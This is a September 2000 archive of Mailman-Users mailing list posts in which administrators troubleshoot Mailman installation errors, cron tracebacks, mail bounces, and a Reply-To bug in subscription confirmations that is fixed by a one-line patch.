/opt/bin/python -S /usr/local/mail/mailman/cron/checkdbs

produced the following output:

Traceback (innermost last):
File "/usr/local/mail/mailman/cron/checkdbs", line 92, in ?
main()
File "/usr/local/mail/mailman/cron/checkdbs", line 59, in main
mlist.Save()
File "/usr/local/mail/mailman/Mailman/MailList.py", line 850, in Save
self.CheckHTMLArchiveDir()
File "/usr/local/mail/mailman/Mailman/Archiver/Archiver.py", line 264, in 
CheckHTMLArchiveDir
makelink(privdir, pubdir)
File "/usr/local/mail/mailman/Mailman/Archiver/Archiver.py", line 42, in 
makelink
os.symlink(old, new)
OSError: [Errno 2] No such file or directory

___________________________________________________________________________________________________________________

Is there something that I have not done?  I am at the end of my ropes 
now.  Any help would be greatly appreciated.  Thanks.


-=-=-=-=-=-=-=-=-=-=-=
Michael A. Rose
System Administrator
Ag Networking Lab
University of Arizona
(520) 621-2489
mar at ag.arizona.edu
-=-=-=-=-=-=-=-=-=-=-=




From pfaff at edge.cis.mcmaster.ca  Fri Sep 29 00:18:27 2000
From: pfaff at edge.cis.mcmaster.ca (Todd Pfaff)
Date: Thu, 28 Sep 2000 18:18:27 -0400 (EDT)
Subject: [Mailman-Users] unknown mailer error 1 failures
In-Reply-To: <39D3AB01.87B317F6@west.sun.com>
Message-ID: <Pine.SOL.4.21.0009281812230.11349-100000@edge.cis.mcmaster.ca>

No, I edited the bounce message and put in the strings listname and 
somehost.

In general, mailman is working just fine, including these lists for which
I've seen the 'unknown mailer error 1' bounces, and it has been for a
over year now.  However, once in a while the postmaster recipient on this
host receives some of these bounces and it always seems to happen when
a list owner has done a large mass subscribe to a list.

On Thu, 28 Sep 2000, Dan Mick wrote:

> Do they literally say "listname"?  Is it possible that some alias has the
> literal word "listname" in it instead of the real name of the list?
> 
> Todd Pfaff wrote:
> > 
> > We're using:
> > 
> > mailman-1.1
> > python-1.5.2
> > Solaris 2.6
> > sendmail-8.9.3
> > 
> > Sometime during mass subscriptions, we get bounces to postmaster about
> > 'unknown mailer error 1' delivery failures, like that included below.
> > 
> > A few of questions about this...
> > 
> > Does anyone know for certain what is the cause of these 'unknown' failures
> > from sendmail?  Does it likely have to do with the smtp server refusing
> > connections due to the sudden load generated by a lot of messages during a
> > mass subscribe?  The only reason I suspect this is that I can only
> > correlate these errors to times when a mass subscribe is being done.
> > 
> > Is there any simple way to make these bounces go to mailman-owner rather
> > than to postmaster?
> > 
> > Is this something that has likely been fixed in mailman-2.0beta?
> > 
> > --
> > Todd Pfaff                         \  Email: pfaff at mcmaster.ca
> > Computing and Information Services  \ Voice: (905) 525-9140 x22920
> > ABB 132                              \  FAX: (905) 528-3773
> > McMaster University                   \
> > Hamilton, Ontario, Canada  L8S 4M1     \
> > 
> > ---------- Forwarded message ----------
> > 
> > > Date: Wed, 27 Sep 2000 11:13:24 -0400 (EDT)
> > > From: Mail Delivery Subsystem <MAILER-DAEMON at somehost>
> > > To: postmaster at somehost
> > > Subject: Postmaster notify: unknown mailer error 1
> > >
> > > The original message was received at Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > > from localhost
> > >
> > >    ----- The following addresses had permanent fatal errors -----
> > > "|/usr/local/mailman/mail/wrapper mailowner listname"
> > >     (expanded from: <listname-admin at somehost>)
> > >
> > >    ----- Transcript of session follows -----
> > > 554 "|/usr/local/mailman/mail/wrapper mailowner listname"... unknown mailer error 1
> > >
> > >    ----- Message header follows -----
> > >
> > > Return-Path: <MAILER-DAEMON>
> > > Received: from localhost (localhost)
> > >         by somehost  with internal id LAA06814;
> > >         Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > > Date: Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > > From: Mail Delivery Subsystem <MAILER-DAEMON>
> > > To: <listname-admin at somehost>
> > > Subject: Returned mail: User unknown
> > > Auto-Submitted: auto-generated (failure)
> > >
> > >    ----- Message body suppressed -----
> > >
> > >
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> 

--
Todd Pfaff                         \  Email: pfaff at mcmaster.ca
Computing and Information Services  \ Voice: (905) 525-9140 x22920
ABB 132                              \  FAX: (905) 528-3773
McMaster University                   \
Hamilton, Ontario, Canada  L8S 4M1     \




From sitongia at cgd.ucar.edu  Fri Sep 29 00:56:11 2000
From: sitongia at cgd.ucar.edu (Leonard Sitongia)
Date: Thu, 28 Sep 2000 16:56:11 -0600 (MDT)
Subject: [Mailman-Users] ImportError: No module named sha
Message-ID: <200009282256.QAA00298@bearmtn-e0.cgd.ucar.edu>

I periodically see the following error associated with the qrunner
which runs every minute.  The error happens perhaps 10 times a month,
so it's pretty infrequent.

Python definitely has module sha in it, as can be seen by importing
it at the command line.  Most of the time, no complaints from qrunner.

Has anyone seen this and have an explanation for it?

SunOS bearmtn-e0 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-Enterprise
mailman-2.0beta4
Python 1.5.2 (#1, Aug 18 2000, 13:10:32)  [GCC 2.8.0] on sunos5
(no hits on SourceForge searching for this.)

TIA.

------------- Begin Forwarded Message -------------

Date: Thu, 28 Sep 2000 09:11:01 -0600 (MDT)
From: GNU Mailing List Management System <mailman>
To: mailman
Subject: Output from "cron" command

Your "cron" job on bearmtn-e0
/contrib/bin/python -S /home/mailman/cron/qrunner

produced the following output:

Traceback (innermost last):
  File "/home/mailman/cron/qrunner", line 32, in ?
    from Mailman import MailList
  File "/home/mailman/Mailman/MailList.py", line 39, in ?
    from Mailman.ListAdmin import ListAdmin
  File "/home/mailman/Mailman/ListAdmin.py", line 33, in ?
    from Mailman import Message
  File "/home/mailman/Mailman/Message.py", line 30, in ?
    import sha
ImportError: No module named sha


------------- End Forwarded Message -------------



==Leonard E. Sitongia           
--Information Systems Group / Climate and Global Dynamics
  National Center for Atmospheric Research
  P.O. Box 3000 Boulder CO 80307  USA
  sitongia at ucar.edu    voice: (303)497-1338   fax: (303)497-2699




From Dan.Mick at West.Sun.COM  Fri Sep 29 01:37:32 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 28 Sep 2000 16:37:32 -0700 (PDT)
Subject: [Mailman-Users] ImportError: No module named sha
Message-ID: <200009282336.QAA12939@utopia.west.sun.com>

I've seen it reported once before on this list, and was mystified
too; I recommended the poster recheck his Python installation,
and didn't hear back.  Don't know what happened.

> I periodically see the following error associated with the qrunner
> which runs every minute.  The error happens perhaps 10 times a month,
> so it's pretty infrequent.
> 
> Python definitely has module sha in it, as can be seen by importing
> it at the command line.  Most of the time, no complaints from qrunner.
> 
> Has anyone seen this and have an explanation for it?
> 
> SunOS bearmtn-e0 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-Enterprise
> mailman-2.0beta4
> Python 1.5.2 (#1, Aug 18 2000, 13:10:32)  [GCC 2.8.0] on sunos5
> (no hits on SourceForge searching for this.)
> 
> TIA.
> 
> ------------- Begin Forwarded Message -------------
> 
> Date: Thu, 28 Sep 2000 09:11:01 -0600 (MDT)
> From: GNU Mailing List Management System <mailman>
> To: mailman
> Subject: Output from "cron" command
> 
> Your "cron" job on bearmtn-e0
> /contrib/bin/python -S /home/mailman/cron/qrunner
> 
> produced the following output:
> 
> Traceback (innermost last):
>   File "/home/mailman/cron/qrunner", line 32, in ?
>     from Mailman import MailList
>   File "/home/mailman/Mailman/MailList.py", line 39, in ?
>     from Mailman.ListAdmin import ListAdmin
>   File "/home/mailman/Mailman/ListAdmin.py", line 33, in ?
>     from Mailman import Message
>   File "/home/mailman/Mailman/Message.py", line 30, in ?
>     import sha
> ImportError: No module named sha
> 
> 
> ------------- End Forwarded Message -------------
> 
> 
> 
> ==Leonard E. Sitongia           
> --Information Systems Group / Climate and Global Dynamics
>   National Center for Atmospheric Research
>   P.O. Box 3000 Boulder CO 80307  USA
>   sitongia at ucar.edu    voice: (303)497-1338   fax: (303)497-2699
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users





From blurr at txraves.org  Fri Sep 29 03:43:17 2000
From: blurr at txraves.org (jordan)
Date: Thu, 28 Sep 2000 20:43:17 -0500
Subject: [Mailman-Users] 1.1 -> 2.0b5 speedbump
References: <001901c02459$1903c2a0$6a365d18@groovebox>
Message-ID: <06d101c029b6$a43cab40$0100a8c0@austin.rr.com>

if anyone cares, i was able to reset the site passwd at the shell prompt and
then
reset each listadmin passwd via the web interface.  napster bad.

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"


----- Original Message -----
From: "jordan" <blurr at txraves.org>
To: <mailman-users at python.org>
Sent: Friday, September 22, 2000 12:51 AM
Subject: [Mailman-Users] 1.1 -> 2.0b5 speedbump


> i upgraded python 1.51 to 1.6 no prob.  disabled port 25,
> cleared the queue, backed up /home/mailman, ./configure'd,
> make install'd...
>
> none of the list passwds(including site passwd) work on the
> admin pages.  the lists themselves seem to be working aside
> from that.
>
> did i miss a step?
>
> ] jordan
> ] blurr at txraves.org
> ] http://www.txraves.org/
>
> "a closed mind is a wonderful thing to lose"




From midnight at the-oasis.net  Fri Sep 29 06:38:50 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Fri, 29 Sep 2000 00:38:50 -0400
Subject: [Mailman-Users] Removing offending mail address.
Message-ID: <39D3E49A.22894.24364BD5@localhost>

I see that there is a command line utility for forcably removing a 
mailing list member.

I was wondering if a list administrator can remove a mailing list 
member from the web interface?


-- 
              Phil Barnett  mailto:midnight at the-oasis.net
                       WWW  http://www.the-oasis.net/
                  FTP Site  ftp://ftp.the-oasis.net



From esper at sherohman.org  Fri Sep 29 06:46:13 2000
From: esper at sherohman.org (Dave Sherohman)
Date: Thu, 28 Sep 2000 23:46:13 -0500
Subject: [Mailman-Users] Removing offending mail address.
In-Reply-To: <39D3E49A.22894.24364BD5@localhost>; from midnight@the-oasis.net on Fri, Sep 29, 2000 at 12:38:50AM -0400
References: <39D3E49A.22894.24364BD5@localhost>
Message-ID: <20000928234613.B2083@sherohman.org>

On Fri, Sep 29, 2000 at 12:38:50AM -0400, Phil Barnett wrote:
> I was wondering if a list administrator can remove a mailing list 
> member from the web interface?

Sure!  Just go to the list's Membership Management page and uncheck the
'subscr' column for the user.

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From Dan.Mick at West.Sun.COM  Fri Sep 29 06:47:44 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 28 Sep 2000 21:47:44 -0700 (PDT)
Subject: [Mailman-Users] Removing offending mail address.
Message-ID: <200009290446.VAA27837@utopia.west.sun.com>

> I see that there is a command line utility for forcably removing a 
> mailing list member.
> 
> I was wondering if a list administrator can remove a mailing list 
> member from the web interface?

Yes; just uncheck the first box in their record on Membership
Management (the one labeled 'subscr').  I do it all the time.





From bearboy at bearboy.com  Fri Sep 29 09:08:46 2000
From: bearboy at bearboy.com (Dan "BearBoy" Cox)
Date: Fri, 29 Sep 2000 00:08:46 -0700
Subject: [Mailman-Users] Help =)
Message-ID: <005101c029e4$1c70a300$0201ce0a@internic2.net>

How do I remedy this? I just installed mailman on my box and can't seem to
find any documentation on this specific problem..

thanks!

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From dbsml at barrysworld.com  Fri Sep 29 09:47:57 2000
From: dbsml at barrysworld.com (DBs (Mailing List))
Date: Fri, 29 Sep 2000 08:47:57 +0100
Subject: [Mailman-Users] bad Reply-To in subscription confirmation
In-Reply-To: <B5F8B798.12ACA%cjoneslists@gseis.ucla.edu>
Message-ID: <HDEOIOONDALNHDIJADIFIEEBDAAA.dbsml@barrysworld.com>

I too get this.

If you subscribe over the web interface the reply-to address is set
correctly to listname-request. If you do it via email the -request part is
omitted.

Spent hours looking thru the python source, but being a non-python user,
achieved not a lot :)


Best regards

DBs
Technical Director
http://www.BarrysWorld.com
ICQ: 2261786


> -----Original Message-----
> From: mailman-users-admin at python.org
> [mailto:mailman-users-admin at python.org]On Behalf Of Chad Jones
> Sent: Thursday, September 28, 2000 4:54 PM
> To: mailman-users at python.org
> Subject: [Mailman-Users] bad Reply-To in subscription confirmation
>
>
> Below is the header of a subscription confirmation email, the kind you get
> when you subscribe via email.  The reply is supposed to go to the -request
> address but there's a Reply-To which directs the reply to the regular list
> address, which triggers the "moderator approval."
>
> Is there a way to fix this or can I just turn off the confirmation option?
> I have about 100 new users who are going to try to subscribe today and it
> would be nice if I could get this to work.  I'm using mailman 2.0b6.
>
> Here is the header:
>
> Return-Path: <advisors-admin at lists.centerx.gseis.ucla.edu>
> Received: from norbert.gseis.ucla.edu (149.142.5.98) by tep.gseis.ucla.edu
> with
>  ESMTP (Eudora Internet Mail Server 2.2.2); Thu, 28 Sep 2000
> 08:34:52 -0700
> Received: from norbert.gseis.ucla.edu (mailman at localhost [127.0.0.1])
>     by norbert.gseis.ucla.edu (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1)
> with ESMTP
> id IAA00370
>     for <xlists at tep.gseis.ucla.edu>; Thu, 28 Sep 2000 08:37:01 -0700
> Date: Thu, 28 Sep 2000 08:37:01 -0700
> Message-Id: <200009281537.IAA00370 at norbert.gseis.ucla.edu>
> Subject: advisors -- confirmation of subscription -- request 661850
> From: advisors-request at lists.centerx.gseis.ucla.edu
> To: xlists at tep.gseis.ucla.edu
> X-Ack: no
> Sender: advisors-admin at lists.centerx.gseis.ucla.edu
> Errors-To: advisors-admin at lists.centerx.gseis.ucla.edu
> X-BeenThere: advisors at lists.centerx.gseis.ucla.edu
> X-Mailman-Version: 2.0beta6
> Precedence: bulk
> Reply-To: advisors at lists.centerx.gseis.ucla.edu
> List-Help:
> <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=help>
> List-Post: <mailto:advisors at lists.centerx.gseis.ucla.edu>
> List-Subscribe:
> <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
> <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=subscribe>
> List-Id: <advisors.lists.centerx.gseis.ucla.edu>
> List-Unsubscribe:
> <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
> <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=unsubscribe>
> List-Archive: http://lists.centerx.gseis.ucla.edu/pipermail/advisors/
>
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>




From R.Barrett at ftel.co.uk  Fri Sep 29 12:10:09 2000
From: R.Barrett at ftel.co.uk (Richard Barrett)
Date: Fri, 29 Sep 2000 11:10:09 +0100
Subject: [Mailman-Users] bad Reply-To in subscription confirmation
Message-ID: <v04220807b5fa1af8744d@[172.16.3.104]>

I'm running 2.0beta6.

I have found a definite bug (or is it a feature?) in the headers of 
outgoing confirmation requests.

It appears that if:

1. The user is trying to subscribe from the web interface.

2. The reply_goes_to_list option on the General Options of a list is 
set to "This list" or "Explicit address" rather than poster then a 
Reply-To header is inserted.

When the subscribing user tries to confirm by doing a simple reply, 
the reply does not get sent to the <list name>-request mail name but 
to the <list name> mail name of the explicit address.

This problem may also appear with majordomo style mail subscriptions, 
I haven't checked that scenario yet.

I'm trying to ascertain exactly why the insertion of the Reply-To 
header is not suppressed when the outgoing confirmation request is 
generated. If nobody else beats me to it I'll try and generate a 
patch to correct this. That is, unless somebody posts a convincing 
denial of the problem I'm seeing.


"DBs (Mailing List)" <dbsml at barrysworld.com>  said:
>I too get this.
>
>If you subscribe over the web interface the reply-to address is set
>correctly to listname-request. If you do it via email the -request part is
>omitted.
>
>Spent hours looking thru the python source, but being a non-python user,
>achieved not a lot :)
>
>
>Best regards
>
>DBs
>Technical Director
>http://www.BarrysWorld.com
>ICQ: 2261786
>
>
>  > -----Original Message-----
>  > From: mailman-users-admin at python.org
>  > [mailto:mailman-users-admin at python.org]On Behalf Of Chad Jones
>  > Sent: Thursday, September 28, 2000 4:54 PM
>  > To: mailman-users at python.org
>  > Subject: [Mailman-Users] bad Reply-To in subscription confirmation
>  >
>  >
>  > Below is the header of a subscription confirmation email, the kind you get
>  > when you subscribe via email.  The reply is supposed to go to the -request
>  > address but there's a Reply-To which directs the reply to the regular list
>  > address, which triggers the "moderator approval."
>  >
>  > Is there a way to fix this or can I just turn off the confirmation option?
>  > I have about 100 new users who are going to try to subscribe today and it
>  > would be nice if I could get this to work.  I'm using mailman 2.0b6.
>  >
>  > Here is the header:
>  >
>  > Return-Path: <advisors-admin at lists.centerx.gseis.ucla.edu>
>  > Received: from norbert.gseis.ucla.edu (149.142.5.98) by tep.gseis.ucla.edu
>  > with
>  >  ESMTP (Eudora Internet Mail Server 2.2.2); Thu, 28 Sep 2000
>  > 08:34:52 -0700
>  > Received: from norbert.gseis.ucla.edu (mailman at localhost [127.0.0.1])
>  >     by norbert.gseis.ucla.edu (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1)
>  > with ESMTP
>  > id IAA00370
>  >     for <xlists at tep.gseis.ucla.edu>; Thu, 28 Sep 2000 08:37:01 -0700
>  > Date: Thu, 28 Sep 2000 08:37:01 -0700
>  > Message-Id: <200009281537.IAA00370 at norbert.gseis.ucla.edu>
>  > Subject: advisors -- confirmation of subscription -- request 661850
>  > From: advisors-request at lists.centerx.gseis.ucla.edu
>  > To: xlists at tep.gseis.ucla.edu
>  > X-Ack: no
>  > Sender: advisors-admin at lists.centerx.gseis.ucla.edu
>  > Errors-To: advisors-admin at lists.centerx.gseis.ucla.edu
>  > X-BeenThere: advisors at lists.centerx.gseis.ucla.edu
>  > X-Mailman-Version: 2.0beta6
>  > Precedence: bulk
>  > Reply-To: advisors at lists.centerx.gseis.ucla.edu
>  > List-Help:
>  > <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=help>
>  > List-Post: <mailto:advisors at lists.centerx.gseis.ucla.edu>
>  > List-Subscribe:
>  > <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
>  > <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=subscribe>
>  > List-Id: <advisors.lists.centerx.gseis.ucla.edu>
>  > List-Unsubscribe:
>  > <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
>  > <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=unsubscribe>
>  > List-Archive: http://lists.centerx.gseis.ucla.edu/pipermail/advisors/
>  >
>  >
>  > ------------------------------------------------------
>  > Mailman-Users maillist  -  Mailman-Users at python.org
>  > http://www.python.org/mailman/listinfo/mailman-users
>  >
>
>
>------------------------------------------------------
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From tkikuchi at is.kochi-u.ac.jp  Fri Sep 29 12:31:49 2000
From: tkikuchi at is.kochi-u.ac.jp (Tokio Kikuchi)
Date: Fri, 29 Sep 2000 19:31:49 +0900
Subject: [Mailman-Users] Reply-To bug
References: <20000929101404.AA9431D38D@dinsdale.python.org>
Message-ID: <39D46F95.3AB427DA@is.kochi-u.ac.jp>

mailman-users-request at python.org wrote:
> 

> 
>   ------------------------------------------------------------
> 
> Subject: RE: [Mailman-Users] bad Reply-To in subscription confirmation
> Date: Fri, 29 Sep 2000 11:10:09 +0100
> From: Richard Barrett <R.Barrett at ftel.co.uk>
> To: mailman-users at python.org
> 
> I'm running 2.0beta6.
> 
> I have found a definite bug (or is it a feature?) in the headers of
> outgoing confirmation requests.
> 
> It appears that if:
> 
> 1. The user is trying to subscribe from the web interface.
> 
> 2. The reply_goes_to_list option on the General Options of a list is
> set to "This list" or "Explicit address" rather than poster then a
> Reply-To header is inserted.
> 
> When the subscribing user tries to confirm by doing a simple reply,
> the reply does not get sent to the <list name>-request mail name but
> to the <list name> mail name of the explicit address.
> 

Try this:

in Mailman/Handlers/CookHeaders.py

>     #
>     # Reply-To: munging.  Do not do this if the message is "fast tracked",
>     # meaning it is internally crafted and delivered to a specific user,
>     # or if there is already a reply-to set.  If the user has set
>     # one we assume they have a good reason for it, and we don't
>     # second guess them.
>     if not fasttrack or msg.get('reply-to'):
this line should be
      if not fasttrack and not msg.get('reply-to'):

Sorry but I have no time to use diff.


Tokio



From R.Barrett at ftel.co.uk  Fri Sep 29 13:03:43 2000
From: R.Barrett at ftel.co.uk (Richard Barrett)
Date: Fri, 29 Sep 2000 12:03:43 +0100
Subject: [Mailman-Users] bad Reply-To in subscription confirmation
In-Reply-To: <HDEOIOONDALNHDIJADIFCEEEDAAA.dbsml@barrysworld.com>
References: <HDEOIOONDALNHDIJADIFCEEEDAAA.dbsml@barrysworld.com>
Message-ID: <v04220809b5fa1daf1795@[172.16.3.104]>

Tokio Kikuchi <tkikuchi at is.kochi-u.ac.jp> has posted the solution to 
this problem.

I've posted the fix as the following patch on sourceforge:

https://sourceforge.net/patch/?func=detailpatch&patch_id=101701&group_id=103


Tokio Kikuchi <tkikuchi at is.kochi-u.ac.jp>  said

>Hi,
>
>I think I traced a bug in 2.0beta6
>
>in Mailman/Handlers/CookHeaders.py
>
>  >     #
>  >     # Reply-To: munging.  Do not do this if the message is "fast tracked",
>  >     # meaning it is internally crafted and delivered to a specific user,
>  >     # or if there is already a reply-to set.  If the user has set
>  >     # one we assume they have a good reason for it, and we don't
>  >     # second guess them.
>  >     if not fasttrack or msg.get('reply-to'):
>this line should be
>       if not fasttrack and not msg.get('reply-to'):
>
>Sorry but I have no time to use diff.
>
>This bug caused confirm message to go list address
>in some cases (cf. -users discussion)
>
>Tokio



>Hi
>
>Yup,
>
>it also fails under email type subscriptions.
>
>Ie if the reply_goes_to_list option is set to this list then a user cannot
>simply reply as the reply-to header is not set correctly.
>
>I will try and figure it out, but being a novice at python etc I may not
>come up with the goods :(
>
>
>
>
>Best regards
>
>DBs
>Technical Director
>http://www.BarrysWorld.com
>ICQ: 2261786
>
>
>  > -----Original Message-----
>  > From: Richard Barrett [mailto:R.Barrett at ftel.co.uk]
>  > Sent: Friday, September 29, 2000 11:10 AM
>  > To: DBs (Mailing List)
>  > Subject: RE: [Mailman-Users] bad Reply-To in subscription confirmation
>  >
>  >
>  > I'm running 2.0beta6.
>  >
>  > I have found a definite bug (or is it a feature?) in the headers of
>  > outgoing confirmation requests.
>  >
>  > It appears that if:
>  >
>  > 1. The user is trying to subscribe from the web interface.
>  >
>  > 2. The reply_goes_to_list option on the General Options of a list is
>  > set to "This list" or "Explicit address" rather than poster then a
>  > Reply-To header is inserted.
>  >
>  > When the subscribing user tries to confirm by doing a simple reply,
>  > the reply does not get sent to the <list name>-request mail name but
>  > to the <list name> mail name of the explicit address.
>  >
>  > This problem may also appear with majordomo style mail subscriptions,
>  > I haven't checked that scenario yet.
>  >
>  > I'm trying to ascertain exactly why the insertion of the Reply-To
>  > header is not suppressed when the outgoing confirmation request is
>  > generated. If nobody else beats me to it I'll try and generate a
>  > patch to correct this. That is, unless somebody posts a convincing
>  > denial of the problem I'm seeing.
>  >
>  >
>  > "DBs (Mailing List)" <dbsml at barrysworld.com>  said:
>  > >I too get this.
>  > >
>  > >If you subscribe over the web interface the reply-to address is set
>  > >correctly to listname-request. If you do it via email the
>  > -request part is
>  > >omitted.
>  > >
>  > >Spent hours looking thru the python source, but being a non-python user,
>  > >achieved not a lot :)
>  > >
>  > >
>  > >Best regards
>  > >
>  > >DBs
>  > >Technical Director
>  > >http://www.BarrysWorld.com
>  > >ICQ: 2261786
>  > >
>  > >
>  > >  > -----Original Message-----
>  > >  > From: mailman-users-admin at python.org
>  > >  > [mailto:mailman-users-admin at python.org]On Behalf Of Chad Jones
>  > >  > Sent: Thursday, September 28, 2000 4:54 PM
>  > >  > To: mailman-users at python.org
>  > >  > Subject: [Mailman-Users] bad Reply-To in subscription confirmation
>  > >  >
>  > >  >
>  > >  > Below is the header of a subscription confirmation email,
>  > the kind you get
>  > >  > when you subscribe via email.  The reply is supposed to go
>  > to the -request
>  > >  > address but there's a Reply-To which directs the reply to
>  > the regular list
>  > >  > address, which triggers the "moderator approval."
>  > >  >
>  > >  > Is there a way to fix this or can I just turn off the
>  > confirmation option?
>  > >  > I have about 100 new users who are going to try to subscribe
>  > today and it
>  > >  > would be nice if I could get this to work.  I'm using mailman 2.0b6.
>  > >  >
>  > >  > Here is the header:
>  > >  >
>  > >  > Return-Path: <advisors-admin at lists.centerx.gseis.ucla.edu>
>  > >  > Received: from norbert.gseis.ucla.edu (149.142.5.98) by
>  > tep.gseis.ucla.edu
>  > >  > with
>  > >  >  ESMTP (Eudora Internet Mail Server 2.2.2); Thu, 28 Sep 2000
>  > >  > 08:34:52 -0700
>  > >  > Received: from norbert.gseis.ucla.edu (mailman at localhost [127.0.0.1])
>  > >  >     by norbert.gseis.ucla.edu (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1)
>  > >  > with ESMTP
>  > >  > id IAA00370
>  > >  >     for <xlists at tep.gseis.ucla.edu>; Thu, 28 Sep 2000 08:37:01 -0700
>  > >  > Date: Thu, 28 Sep 2000 08:37:01 -0700
>  > >  > Message-Id: <200009281537.IAA00370 at norbert.gseis.ucla.edu>
>  > >  > Subject: advisors -- confirmation of subscription -- request 661850
>  > >  > From: advisors-request at lists.centerx.gseis.ucla.edu
>  > >  > To: xlists at tep.gseis.ucla.edu
>  > >  > X-Ack: no
>  > >  > Sender: advisors-admin at lists.centerx.gseis.ucla.edu
>  > >  > Errors-To: advisors-admin at lists.centerx.gseis.ucla.edu
>  > >  > X-BeenThere: advisors at lists.centerx.gseis.ucla.edu
>  > >  > X-Mailman-Version: 2.0beta6
>  > >  > Precedence: bulk
>  > >  > Reply-To: advisors at lists.centerx.gseis.ucla.edu
>  > >  > List-Help:
>  > >  > <mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=help>
>  > >  > List-Post: <mailto:advisors at lists.centerx.gseis.ucla.edu>
>  > >  > List-Subscribe:
>  > >  > <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
>  > >  >
><mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=subscribe>
>  >  > List-Id: <advisors.lists.centerx.gseis.ucla.edu>
>  >  > List-Unsubscribe:
>  >  > <http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
>  >  >
><mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=unsubscribe>
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From falken at grenville.co.uk  Fri Sep 29 18:09:11 2000
From: falken at grenville.co.uk (Thomas Chiverton)
Date: Fri, 29 Sep 2000 17:09:11 +0100 (BST)
Subject: [Mailman-Users] Problem with cookies in 2.0beta6
Message-ID: <Pine.LNX.4.21.0009291704040.13687-100000@penguin.grenville.co.uk>

I'm new to this, and the FAQ is a little small, so excuse me :-)

I create a new list with bin/newlist and go to the URL it emails me
(... /mailman/admin.cgi/test).
I enter the password, and Netscape warns me it's excepting a cookie, which
I except, and it stores it in ~/.netscape/cookies as normal.
I change somoe settings, press the submit button and it returns me to the
login prompt. If I type the password in again, my changes have vanished.

MailMan 2.0beta6 (installed as mailman:mailman)
Apache 1.3.9 (running as www:http)
Python 1.5.2 ((#1, Feb 18 2000, 00:56:30)  [GCC 2.95.2 19991024 (release)]
on sunos5)

I've installed exactly as per the INSTALL instructions, clean install.

Any clues what might be up ?

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From rick at niof.net  Fri Sep 29 18:29:37 2000
From: rick at niof.net (Rick Pasotto)
Date: Fri, 29 Sep 2000 12:29:37 -0400
Subject: [Mailman-Users] new mailman installation
Message-ID: <20000929122936.M8193@tc.niof.net>

I am running a debian-linux system and want to set up some mailman
mailing lists. Should I (1) go ahead and start the lists using 1.1
and then upgrade when 2.0 becomes final, (2) install 2.0beta as a
starting point, or (3) wait until 2.0 becomes final to start the
lists? Is the upgrade expected to be relatively painless?

-- 
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enough to rule themselves, even fewer are wise enough to rule others."
		-- Edward Abbey
		   Rick Pasotto email: rickp at telocity.com



From marouni at earlham.edu  Fri Sep 29 18:41:45 2000
From: marouni at earlham.edu (Nick)
Date: Fri, 29 Sep 2000 11:41:45 -0500
Subject: [Mailman-Users] mailman 2.0beta6
References: <20000929122936.M8193@tc.niof.net>
Message-ID: <39D4C649.FD1C737B@earlham.edu>

Hi all,

	I am having this weird problem, and would appreciate any help. I got
the latest version of mailman and I am installing on test system, and I
do the following
./configure --with-mail-gid=12 --with-cgi-gid=99
--prefix=/home/software/mailman
make
make install

at the end of make install I get that 
a bunch of errors likes this one for all the files in templates

/usr/bin/install: admindbpreamble.html: No such file or directory

and with these errors I decided to go the mailman url and got this error 

Traceback:
Traceback (innermost last):
  File "/home/software/mailman/scripts/driver", line 121, in
print_traceback
    from Mailman.mm_cfg import VERSION
ImportError: No module named mm_cfg

any help would be great.

Thanks

Nick



From frush at ftc.agilent.com  Fri Sep 29 19:02:41 2000
From: frush at ftc.agilent.com (Ray Frush)
Date: Fri, 29 Sep 2000 11:02:41 -0600
Subject: [Mailman-Users] BUG? Problem with subscribing to a list via web.
Message-ID: <39D4CB31.D789C689@ftc.agilent.com>

I've installed 2.0 beta 6 and I am using the web interface to subscribe
to a list.  I've noticed the following  problem:

The server is ale.ftc.agilent.com and the list is "test"...

If I subscribe to the list and enter  "user at ftc.agilent.com" the message
sent to confirm the subscription has the headers:
From:  test-request at ftc.agilent.com
To:      user at ftc.agilent.com
Reply-To: test-request at ftc.agilent.com

The problem here is that ftc.agilent.com does not understand
"test-request" and won't route the message to ale.ftc.agilent.com.

If I subscribe with the address "user at ale.ftc.agilent.com"  the
Confirmation message shows:

From:  test-request at ale.ftc.agilent.com
To:      user at ale.ftc.agilent.com
Reply-To:   test-request at ale.ftc.agilent.com

If I subscribe with the address "first_last at agilent.com"  the
Confirmation message shows:

From:  test-request at ale.ftc.agilent.com
To:      first_last at agilent.com
Reply-To:   test-request at ale.ftc.agilent.com

In the above cases, the reply-to gets routed properly (because it has
the full hostname.)

So, is the first case by design? or is there a bug here?


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From chuqui at plaidworks.com  Fri Sep 29 19:05:29 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 29 Sep 2000 10:05:29 -0700
